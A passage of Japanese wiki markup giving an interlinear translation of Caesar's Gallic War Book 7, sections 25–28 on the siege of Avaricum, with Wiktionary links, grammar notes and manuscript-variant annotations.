**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:eo magis quod|eo magis quod]] ～ 「～なので、その分だけ、より一層」。[[ガリア戦記 第3巻#14節|第3巻14節]]も参照。）&lt;/span&gt; 
*[[wikt:en:semper#Latin|semper]]&lt;nowiki&gt;que&lt;/nowiki&gt; ipsi [[wikt:en:recens#Adjective|recentes]] [[wikt:en:defessus#Latin|defessis]] [[wikt:en:succederent#Latin|succederent]] 
**常に彼ら自身&lt;small&gt;〔籠城ガッリア勢〕&lt;/small&gt;は新たな者たちが疲れ果てた者たちに交代しており、
*[[wikt:en:omnis#Latin|omnem]]&lt;nowiki&gt;que&lt;/nowiki&gt; Galliae [[wikt:en:salus#Latin|salutem]] &lt;u&gt;in illo [[wikt:en:vestigium#Latin|vestigio]] temporis [[wikt:en:positus#Participle|positam]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;small&gt;(esse)&lt;/small&gt;&lt;/span&gt;&lt;/u&gt; [[wikt:en:arbitrarentur#Latin|arbitrarentur]], 
**ガッリアのすべての安全が、&lt;u&gt;その瞬間にかかっている&lt;/u&gt;と思われていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の直訳は「その時の足跡（瞬間）に置かれている」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以上の cum ～ arbitrarentur, が状況や理由を説明する副文で、以下が主文となっている。）&lt;/span&gt;
*[[wikt:en:accidit#Etymology_1|accidit]] [[wikt:en:inspectans#Latin|inspectantibus]] nobis, 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;が見ているなかで起こったのは、
*[[wikt:en:quod#Pronoun|quod]] [[wikt:en:dignus#Latin|dignum]] [[wikt:en:memoria#Latin|memoria]] [[wikt:en:visus#Participle|visum]] [[wikt:en:praetereundus#Latin|praetereundum]] non [[wikt:en:existimavimus#Latin|existimavimus]]. 
**記憶に値すると思われたことを&lt;small&gt;（我がローマ勢が）&lt;/small&gt;見過ごすべきではないと考えていたことである。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この主文の主語を省略せずに記せば、以下のようになる。&lt;br&gt;　　　　[id], quod dignum memoria visum [esse] praetereundum [esse] non existimavimus.）&lt;/span&gt;

[[画像:048_Conrad_Cichorius,_Die_Reliefs_der_Traianssäule,_Tafel_XLVIII_(Ausschnitt 01).jpg|thumb|right|250px|&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を操作する[[w:ダキア人|ダキア人]]の彫刻（[[w:トラヤヌスの記念柱|トラヤヌス帝の記念柱]]に刻まれた[[w:レリーフ|レリーフ]]）。]]
[[画像:Balliste_fireing.jpg|thumb|right|250px|&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（[[w:en:Scorpio (dart-thrower)|Scorpio]]）の現代における復元。]]
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:quidam#Determiner|Quidam]] ante portam oppidi [[wikt:en:Gallus#Noun|Gallus]], &lt;u&gt;qui&lt;/u&gt; 
**城塞都市の城門の前にいた、ある&lt;small&gt;（1人の）&lt;/small&gt;ガッリア人が、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の qui は、&amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*per [[wikt:en:manus#Latin:_hand|manus]] [[wikt:en:sebum#Latin|sebi]] ac [[wikt:en:pix#Latin|picis]] [[wikt:en:traditus#Participle|traditas]] [[wikt:en:glaeba#Latin|glaebas]] 
**手から手へと渡された&lt;ruby&gt;&lt;rb&gt;獣脂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;セーブム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の塊を、
*in [[wikt:en:ignis#Latin|ignem]] &lt;u&gt;e regione&lt;/u&gt; turris [[wikt:en:proiciebat#Latin|proiciebat]]: 
**攻城櫓の正面にある火炎の中に投げ込んでいたが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
*[[wikt:en:scorpio#Latin|scorpione]] ab [[wikt:en:latus#Latin:_side|latere]] [[wikt:en:dexter#Latin|dextro]] [[wikt:en:traiectus#Participle|traiectus]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で右の横腹を射られて、
*[[wikt:en:exanimatus#Latin|exanimatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:concidit#Verb|concidit]]. 
**息絶えて倒れた。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Hunc ex [[wikt:en:proximus#Noun|proximis]] unus [[wikt:en:iacens#Latin|iacentem]] [[wikt:en:transgressus#Latin|transgressus]] 
**彼が倒れているのを、すぐ近くの者たちのうちの1人が乗り越えて、
*[[wikt:en:idem#Latin|eodem]] illo [[wikt:en:munus#Latin|munere]] [[wikt:en:fungebatur#Latin|fungebatur]]; 
**その同じ&lt;ruby&gt;&lt;rb&gt;任務&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムーヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を果たしていた。
*[[wikt:en:idem#Latin|Eadem]] [[wikt:en:ratio#Latin|ratione]] [[wikt:en:ictus#Noun_4|ictu]] [[wikt:en:scorpio#Latin|scorpionis]] [[wikt:en:exanimatus#Latin|exanimato]] 
**&lt;small&gt;（その第2の者が）&lt;/small&gt;同様に&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の射撃で息絶えさせられると
*alteri [[wikt:en:successit#Latin|successit]] tertius 
**&lt;small&gt;（息絶えた）&lt;/small&gt;第2の者に第3の者が代わって、
*et tertio quartus, 
**&lt;small&gt;（さらに）&lt;/small&gt;第3の者に第4の者が&lt;small&gt;（代わった）&lt;/small&gt;。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; &lt;u&gt;nec prius&lt;/u&gt; ille est a [[wikt:en:propugnator#Latin|propugnatoribus]] [[wikt:en:vacuus#Latin|vacuus]] [[wikt:en:relictus#Participle|relictus]] locus 
**防戦者たちは、持ち場を放棄することがなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：直訳は「その場（ille locus）は、防戦者たちによって空&lt;small&gt;〔無人〕&lt;/small&gt;にして置かれることがなかった。」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：nec [[wikt:en:prius#Adverb|prius]] ～ [[wikt:en:quam#Conjunction|quam]] …「…するまでは～しなかった」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; [[wikt:en:restinctus#Latin|restincto]] [[wikt:en:agger#Latin|aggere]] atque &lt;u&gt;omni ex parte&lt;/u&gt; [[wikt:en:submotus#Latin|submotis]] hostibus [[wikt:en:finis#Latin:_end|finis]] est [[wikt:en:pugnandi#Verb|pugnandi]] [[wikt:en:factus#Latin:_done|factus]].
**&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が鎮火されて、そのすべての方面から敵たちが追い払われて、戦いに終止符が打たれる&lt;u&gt;までは&lt;/u&gt;。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、omni &lt;u&gt;ex&lt;/u&gt; parte は ''[[ガリア戦記/注解編/写本と校訂版#Ciacconius|Ciacconius]]'' による修正で、&lt;br&gt;　　　　&amp;alpha;系写本では omni &lt;u&gt;ea&lt;/u&gt; parte &lt;br&gt;　　　　&amp;beta;系写本では omni parte となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===26節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/26節]]　{{進捗|00%|2026-07-13}}&lt;/span&gt;
;アウァーリクム脱出の企て、女たちの絶叫
:　
;　　　万策尽きたガッリア勢が、アウァーリクム脱出を企てる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:omnia#Noun|Omnia]] [[wikt:en:expertus#Participle|experti]] [[wikt:en:Galli#Latin|Galli]], 
**ガッリア人たちはあらゆることを試みたが、
*quod res [[wikt:en:nullus#Determiner|nulla]] [[wikt:en:successerat#Latin|successerat]], 
**何ら事が成功しなかったので、
*[[wikt:en:posterus#Latin|postero]] die [[wikt:en:consilium#Latin|consilium]] [[wikt:en:ceperunt#Latin|ceperunt]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:profugio#Latin|profugere]], 
**&lt;small&gt;（戦いの夜が明けて）&lt;/small&gt;翌日には、&lt;small&gt;（アウァーリクムの）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;城塞都市&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;から退避する計画を立てた。
*[[wikt:en:hortans#Latin|hortante]] et [[wikt:en:iubens#Latin|iubente]] [[wikt:en:Vercingetorix#Latin|Vercingetorige]]. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]によって促され、命じられたものであった。
:　
;　　　脱出をはかるガッリア勢の期待とその理由
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Id [[wikt:en:silentium#Latin|silentio]] noctis [[wikt:en:conatus#Participle|conati]] 
**そのこと&lt;small&gt;〔アウァーリクムからの退避〕&lt;/small&gt;を夜の静けさのうちに試みても、
*non magna &lt;u&gt;iactura&lt;/u&gt; suorum 
**味方の大きな&lt;ruby&gt;&lt;rb&gt;犠牲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ヤクトゥーラ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;もなしに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:iactura#Noun|iactura]] は「投げ捨てること」、比喩的に「損害、犠牲」。）&lt;/span&gt;
*sese [[wikt:en:effecturus#Latin|effecturos]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;small&gt;(esse)&lt;/small&gt;&lt;/span&gt; [[wikt:en:sperabant#Latin|sperabant]], 
**自分たちは成し遂げるだろうと期待していた。
*&lt;u&gt;propterea quod&lt;/u&gt; &lt;u&gt;neque&lt;/u&gt; longe ab oppido [[wikt:en:castra#Latin|castra]] [[wikt:en:Vercingetorix#Latin|Vercingetorigis]] [[wikt:en:aberant#Latin|aberant]], 
**──というのも、ウェルキンゲトリークスの陣営は&lt;small&gt;（アウァーリクムの）&lt;/small&gt;&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;城塞都市&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からあまり離れていなかったし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:propterea_quod#Latin|propterea quod]] ～「なぜなら～からである」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：neque ～  et …「～ではなく、…である」）&lt;/span&gt;
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:palus#Latin|palus]], &lt;u&gt;quae [[wikt:en:perpetuus#Latin|perpetua]]&lt;/u&gt; [[wikt:en:intercedebat#Latin|intercedebat]], [[wikt:en:Romani#Latin|Romanos]] ad [[wikt:en:insequendum#Verb|insequendum]] [[wikt:en:tardabat#Latin|tardabat]]. 
**沼地も絶え間なく介在していて、ローマ人たちの追跡を遅らせていたからだ。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、&amp;alpha;系写本の語順は quae perpetua だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本の語順は perpetua quae となっている。）&lt;/span&gt;
:　
;　　　母親たちが男たちに、女子供を置き去りにして敵のいけにえにするな、と哀願する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:iam#Latin|Iam]]&lt;nowiki&gt;que&lt;/nowiki&gt; &lt;u&gt;hoc&lt;/u&gt; facere [[wikt:en:noctu#Latin|noctu]] [[wikt:en:apparabant#Latin|apparabant]], 
**すでに、&lt;u&gt;このことを&lt;/u&gt;実行することを夜間に準備していた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では [[wikt:en:haec#Latin|haec]]&lt;sub&gt;&amp;nbsp;(中性･複数･対格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|ed.pr]] では [[wikt:en:hoc#Latin:_this|hoc]]&lt;sub&gt;&amp;nbsp;(中性･単数･対格)&lt;/sub&gt; としている。）&lt;/span&gt;
*&lt;u&gt;cum&lt;/u&gt; [[wikt:en:mater#Latin|matres]] [[wikt:en:familia#Latin|familiae]] [[wikt:en:repente#Adverb_2|repente]] in [[wikt:en:publicum#Noun|publicum]] [[wikt:en:procurrerunt#Latin|procurrerunt]], 
**そのときに家族の母親たちが不意に公の場に走り出て来て、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の cum は、「倒逆のcum」（[[wikt:en:cum inversum|cum inversum]]）と呼ばれ、&lt;br&gt;　　　　cum 以下 ～ impediret までの副文が、上記の主文よりも重要な構文の中心になる。）&lt;/span&gt;
*[[wikt:en:flens#Latin|flentes]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:proiectus#Latin|proiectae]] ad [[wikt:en:pes#Latin|pedes]] suorum 
**泣きながら、味方&lt;small&gt;（の男たち）&lt;/small&gt;の足元に&lt;small&gt;（身を）&lt;/small&gt;投げ出して、
*omnibus [[wikt:en:prex#Latin|precibus]] [[wikt:en:petierunt#Latin|petierunt]], 
**あらゆる懇願でもって頼んだ。
*ne se et [[wikt:en:communis#Latin|communes]] [[wikt:en:liberi#Noun_2|liberos]] hostibus ad [[wikt:en:supplicium#Latin|supplicium]] [[wikt:en:dederent#Latin|dederent]], 
**自分たち&lt;small&gt;〔女たち〕&lt;/small&gt;と&lt;small&gt;（男たちとの）&lt;/small&gt;共通の子供たちを、処刑されることのために敵方に引き渡さないで、
*&lt;u&gt;quos&lt;/u&gt; ad [[wikt:en:capiendus#Latin|capiendam]] [[wikt:en:fuga#Latin|fugam]] [[wikt:en:natura#Latin|naturae]] et [[wikt:en:vis#Latin|virium]] [[wikt:en:infirmitas#Latin|infirmitas]] [[wikt:en:impediret#Latin|impediret]]. 
**それらの者&lt;small&gt;〔女子供たち〕&lt;/small&gt;が逃亡をとるためには、性質や体力の弱さが、妨げるのだ、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:quos#Latin|quos]]&lt;sub&gt;&amp;nbsp;(男性･複数･対格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:quas#Latin|quas]]&lt;sub&gt;&amp;nbsp;(女性･複数･対格)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　
;　　　窮した母親たちが、男たちの脱出の兆候をローマ人に伝えようとする
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:ubi#Latin|Ubi]] eos in [[wikt:en:sententia#Latin|sententia]] [[wikt:en:perstare#Latin|perstare]] [[wikt:en:viderunt#Latin|viderunt]], 
**彼ら&lt;small&gt;〔男たち〕&lt;/small&gt;が&lt;small&gt;（女･子供を置き去りで脱出するという）&lt;/small&gt;意思を固持していると&lt;small&gt;〔女たちが〕&lt;/small&gt;見て取るや、
*[[wikt:en:quod#Conjunction|quod]] [[wikt:en:plerumque#Adverb|plerumque]] in [[wikt:en:summus#Latin|summo]] [[wikt:en:periculum#Latin|periculo]] [[wikt:en:timor#Latin|timor]] [[wikt:en:misericordia#Latin|misericordiam]] non [[wikt:en:recipit#Latin|recipit]], 
**──というのは、たいてい最大級の危険においては、恐怖が&lt;ruby&gt;&lt;rb&gt;憐憫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れんびん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;情&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を受け入れないものであるからだが、──
*[[wikt:en:conclamo#Latin|conclamare]] et [[wikt:en:significo#Latin|significare]] de [[wikt:en:fuga#Latin|fuga]] [[wikt:en:Romani#Latin|Romanis]] [[wikt:en:coeperunt#Latin|coeperunt]]. 
**&lt;small&gt;（女たちは）&lt;/small&gt;叫び声を上げて、ローマ人たちに&lt;small&gt;（男たちの）&lt;/small&gt;逃亡について知らしめ始めた。
:　
;　　　ガッリア勢の男たちが、ローマ側の騎兵隊を恐れて、アウァーリクム脱出を断念する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:qui#Determiner|Quo]] [[wikt:en:timor#Latin|timore]] [[wikt:en:perterritus#Latin|perterriti]] [[wikt:en:Galli#Latin|Galli]], 
**&lt;small&gt;（女たちがローマ側へ男たちの脱出について報知したことで）&lt;/small&gt;その恐怖によって脅かされたガッリア人&lt;small&gt;（の男）&lt;/small&gt;たちは、
*[[wikt:en:ne#Latin:_no|ne]] ab [[wikt:en:equitatus#Latin|equitatu]] Romanorum [[wikt:en:via#Latin|viae]] [[wikt:en:praeoccuparentur#Latin|praeoccuparentur]], 
**ローマ方の[[w:騎兵|騎兵隊]]によって道があらかじめ占拠されないように、
*[[wikt:en:consilium#Latin|consilio]] [[wikt:en:destiterunt#Latin|destiterunt]].
**&lt;small&gt;（アウァーリクムからの脱出の）&lt;/small&gt;計画を取り止めた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===27節===
[[画像:Avaricum_westpoint_july_2006.jpg|thumb|right|300px|[[w:アウァリクム包囲戦|アウァーリクム攻略戦]]の[[w:ジオラマ|ジオラマ]]（再掲；[[w:陸軍士官学校 (アメリカ合衆国)|米国陸軍士官学校]]博物館）。ローマ軍の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の周辺には、&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（vinea）の両端を開いて多数つないだ廊下状の通路（坑道）が延びている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/27節]]　{{進捗|00%|2026-08-01}}&lt;/span&gt;
;ローマ軍が大雨の中でアウァーリクムの城壁を占拠
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Postero die Caesar, 
**翌日にカエサルは、
*[[wikt:en:promotus#Latin|promota]] [[wikt:en:turris#Latin|turri]] 
**&lt;small&gt;（後退していた）&lt;/small&gt;[[w:攻城塔|攻城櫓]]&lt;small&gt;（の1基）&lt;/small&gt;が前進させられて、
*&lt;u&gt;perfectis&lt;/u&gt;&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:opus#Latin|operibus]], quae facere [[wikt:en:instituerat#Latin|instituerat]], 
**実施を定めていた作業が&lt;u&gt;成し遂げられると&lt;/u&gt;、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;pi;系写本では [[wikt:en:perfectis#Latin|perfectīs]] 「完成されると」だが、&lt;br&gt;　　　　　&amp;alpha;系･&amp;rho;系写本では [[wikt:en:derectis#Latin|dērēctīs]] 「整えられると」&lt;br&gt;　　　　となっている。）&lt;/span&gt;
*magno [[wikt:en:coortus#Latin|coorto]] &lt;u&gt;imbre&lt;/u&gt; 
**激しい嵐が起こったが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:imbre#Latin|imbre]] だが、&amp;beta;系写本では [[wikt:en:imbri#Latin|imbri]] となっている。）&lt;/span&gt;
*non [[wikt:en:inutilis#Latin|inutilem]] hanc ad [[wikt:en:capiendus#Latin|capiendum]] [[wikt:en:consilium#Latin|consilium]] [[wikt:en:tempestas#Latin|tempestatem]] &lt;u&gt;arbitratus est&lt;/u&gt;, 
**作戦計画を立てるために、この天候は不利ではないと思われた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:arbitratus#Participle|arbitratus]] est だが、&amp;beta;系写本では単に arbitratus となっている。）&lt;/span&gt;
*[[wikt:en:quod#Conjunction|quod]] paulo [[wikt:en:incautius#Adverb|incautius]] [[wikt:en:custodia#Latin|custodias]] in [[wikt:en:murus#Latin|muro]] [[wikt:en:dispositus#Latin|dispositas]] [[wikt:en:videbat#Latin|videbat]], 
**──というのは、城壁に配置された番兵たちが少しより油断していると見ていたからだが、──
*&lt;u&gt;suosque&lt;/u&gt; [[wikt:en:languide#Adverb|languidius]] in [[wikt:en:opus#Latin|opere]] [[wikt:en:versor#Latin|versari]] [[wikt:en:iussit#Verb|iussit]] 
**配下の者たちには&lt;small&gt;（わざと）&lt;/small&gt;より緩慢に作業に従事することを命じて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:suos#Latin|suōs]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&amp;beta;系写本では [[wikt:en:suos#Latin|suōs]] [[wikt:en:quoque#Adverb|quoque]] となっている。）&lt;/span&gt;
*et, [[wikt:en:quid#Pronoun_2|quid]] [[wikt:en:fieri#Latin|fieri]] [[wikt:en:vellet#Latin|vellet]], [[wikt:en:ostendit#Latin|ostendit]]. 
**何がなされることを&lt;small&gt;（カエサルが）&lt;/small&gt;欲しているか、を示した。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:legio#Latin|Legionibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; &lt;u&gt;extra castra intra [[wikt:en:vinea#Latin|vineas]]&lt;/u&gt; in occulto [[wikt:en:expeditus#Participle|expeditis]], 
**[[w:ローマ軍団|諸軍団]]が&lt;u&gt;陣営の外の&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の内側で&lt;/u&gt;ひそかに準備を整えており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本や校訂版によって異同がある。[[ガリア戦記_第7巻/注解/27節#注記|注記]]を参照。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_occulto#Latin|in occulto]]「ひそかに」「隠れた所で」）&lt;/span&gt;
*[[wikt:en:cohortatus#Latin|cohortatus]], ut [[wikt:en:aliquando#Latin|aliquando]] pro [[wikt:en:tantus#Latin|tantis]] [[wikt:en:labor#Latin|laboribus]] [[wikt:en:fructus#Latin:_noun|fructum]] victoriae [[wikt:en:perciperent#Latin|perciperent]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;やっと、これほどの労苦の見合う勝利の報酬を我がものとするように激励し、
*iis, qui [[wikt:en:primus#Latin|primi]] [[wikt:en:murus#Latin|murum]] [[wikt:en:adscendissent#Latin|adscendissent]], [[wikt:en:praemium#Latin|praemia]] [[wikt:en:proposuit#Latin|proposuit]] 
**一番乗りとして城壁に登った者たちには、恩賞を約束して、
*[[wikt:en:miles#Latin|militibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:signum#Latin|signum]] [[wikt:en:dedit#Latin|dedit]]. 
**兵士たちに号令を発した。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Illi [[wikt:en:subito#Adverb_8|subito]] ex omnibus partibus [[wikt:en:evolaverunt#Latin|evolaverunt]] 
**彼ら&lt;small&gt;〔ローマ軍団兵〕&lt;/small&gt;は不意にあらゆる方角から飛び出して、
*[[wikt:en:murus#Latin|murum]]&lt;nowiki&gt;que&lt;/nowiki&gt; celeriter [[wikt:en:compleverunt#Latin|compleverunt]].
**速やかに&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁を埋め尽くしたのだ。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===28節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/28節]]　{{進捗|00%|2026-08-11}}&lt;/span&gt;
;ローマ軍がアウァーリクムの市民4万人を大虐殺

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Hostes re nova [[wikt:en:perterritus#Latin|perterriti]], 
**敵たち&lt;small&gt;〔籠城するガッリア勢〕&lt;/small&gt;は新たな事態に脅かされて、
*[[wikt:en:murus#Latin|muro]] [[wikt:en:turris#Latin|turribus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:deiectus#Participle|deiecti]] 
**&lt;small&gt;（ローマ兵によって）&lt;/small&gt;城壁や櫓から追い落とされて、
*in [[wikt:en:forum#Latin|foro]] ac locis [[wikt:en:patentior#Latin|patentioribus]] [[wikt:en:cuneatim#Latin|cuneatim]] [[wikt:en:constiterunt#Etymology_1|constiterunt]], 
**&lt;ruby&gt;&lt;rb&gt;広場&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;フォルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や開けた場所に楔状に立ちふさがった。
*hoc animo, ut, si [[wikt:en:aliqui#Latin|qua]] ex parte [[wikt:en:obviam#Adverb|obviam]] &lt;span style=&quot;color:#009900;&quot;&gt;[&lt;/span&gt;contra&lt;span style=&quot;color:#009900;&quot;&gt;]&lt;/span&gt; [[wikt:en:veniretur#Latin|veniretur]], [[wikt:en:acies#Latin|acie]] [[wikt:en:instructus#Latin|instructa]] [[wikt:en:depugnarent#Latin|depugnarent]]. 
**もし、どの方向から相対して対抗して来られても、戦列を整えて決戦しようという心積もりでいたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:contra#Latin|contra]] は &amp;alpha;系･&amp;pi;系写本･写本Rにある記述だが、&lt;br&gt;　　　　　　　　写本U にはなく、削除提案されている。）&lt;/span&gt;

:　
